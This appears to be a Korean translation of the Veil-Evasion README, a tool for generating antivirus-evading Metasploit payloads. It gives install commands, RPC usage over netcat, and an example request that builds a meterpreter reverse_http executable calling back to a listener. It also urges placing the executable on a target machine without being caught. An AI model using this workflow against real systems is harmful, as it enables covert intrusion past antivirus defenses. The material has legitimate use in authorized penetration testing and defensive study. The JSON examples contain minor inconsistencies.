
Veil Evasion은 더 이상 지원되지 않습니다. Veil 3.0을 사용하세요!
Veil-Evasion은 일반적인 안티바이러스 솔루션을 우회하는 metasploit 페이로드를 생성하도록 설계된 도구입니다.
참고:
./setup/setup.sh는 주요 버전 업데이트 시마다 다시 실행해야 합니다. Veil-Evasion 실행 중 주요 오류가 발생하면, 먼저 이 스크립트를 다시 실행하여 추가 패키지를 설치하고 공통 설정 파일을 업데이트하십시오.
Veil-Evasion은 현재 @ChrisTruncer, @TheMightyShiv, @HarmJ0y가 적극적으로 지원하고 있습니다.
감사합니다:
또는
참고: 설치 작업은 슈퍼유저 권한으로 수행해야 합니다. Kali Linux를 사용하지 않는 경우 각 명령 앞에
sudo를 추가하거나 시작하기 전에 root 사용자로 전환하십시오.
Kali x86에서 setup.sh -c를 실행하세요.
Windows 컴퓨터에 Python 2.7, Py2Exe, PyCrypto, PyWin32를 설치하세요 (Py2Exe용).
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
참고: 이 작업은 슈퍼유저 권한으로 수행해야 합니다. Kali Linux를 사용하지 않는 경우 각 명령 앞에
sudo를 추가하거나 시작하기 전에 root 사용자로 전환하십시오.
대부분의 경우 /etc/veil/settings.py 설정 파일을 다시 빌드할 필요는 없지만, 특정 상황에서는 재빌드하라는 메시지가 표시될 수 있습니다. 이 파일은 config/update.py에 의해 생성됩니다.
update.py를 실행하기 전에 반드시 config/ 디렉토리에 있어야 합니다. 그렇지 않으면 settings.py가 올바르지 않게 되어 Veil-Evasion을 실행할 때 다음과 같은 화면이 표시됩니다.
Main Menu
0 payloads loaded
당황하지 마세요. config/ 디렉토리로 이동하여 update.py를 다시 실행하세요.
Veil-Evasion은 Kali Linux에서 실행되도록 설계되었지만, Python 스크립트를 실행할 수 있는 모든 시스템에서 작동해야 합니다. 명령줄에서 Veil-Evasion을 호출하고 메뉴를 따라 페이로드를 생성하기만 하면 됩니다. 페이로드를 생성한 후, Veil-Evasion은 페이로드 파일을 Pyinstaller 또는 Py2Exe로 실행 파일로 변환할지 묻습니다.
Pyinstaller를 사용하는 경우, Veil-Evasion은 Kali 내에서 페이로드를 실행 파일로 변환합니다.
Py2Exe를 사용하는 경우, Veil-Evasion은 다음 세 가지 파일을 생성합니다:
세 파일을 모두 Python이 설치된 Windows 머신으로 옮기세요. 세 파일 모두 Python이 설치된 디렉토리의 루트(일반적으로 C:\Python27)에 배치해야 합니다. 배치 스크립트를 실행하여 Python 스크립트를 실행 파일 형식으로 변환하세요.
어떤 방법으로든 대상 머신에 실행 파일을 배치하고 들키지 마세요!
리스너 측에서 다음을 실행하세요:
./Veil-Evasion --rpc
그러면 포트 4242에서 리스너가 시작됩니다.
클라이언트 측에서는 클라이언트 프로그램을 실행해야 합니다. 이는 사용자 정의 스크립트일 수도 있고 Netcat처럼 간단할 수도 있습니다. RPC 서버는 JSON-RPC를 구현합니다. JSON-RPC 요청 및 응답 해석에 대한 좋은 참고 자료는 http://json-rpc.org/wiki/specification 입니다.
RPC 요청 형식은 다음과 같습니다:
method="version" - 현재 Veil-Evasion 버전 번호 반환
method="payloads" - 현재 로드된 모든 페이로드 반환
method="payload_options"
params="payload_name" - 지정된 페이로드의 옵션 반환
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - 지정된 옵션으로 페이로드를 생성하고 생성된 실행 파일의 경로 반환
Netcat을 사용한 Veil-Evasion 작업의 간단한 예입니다:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
서버 응답:
{"id":0,"result":"2.21.4","error":null}
클라이언트 프로그램 예제는 http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py 에서 찾을 수 있습니다.
참고: Veil-Evasion의 포트는 4242입니다. client.py에서 이 포트를 변경해야 작동합니다.
페이로드를 생성하려면 모든 매개변수를 포함해야 합니다:
pwnstaller 사용 여부를 이해하는 좋은 참고 자료: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
페이로드 생성 예:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
서버 응답:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
참고: 요청에 id가 지정되지 않은 경우 Veil-Evasion이 종료됩니다. 즉, Veil-Evasion이 종료될 때까지 유효한 요청을 원하는 만큼 만들 수 있습니다.
RPC 서버를 종료하려면 다음을 실행하세요:
./Veil-Evasion --rpcshutdown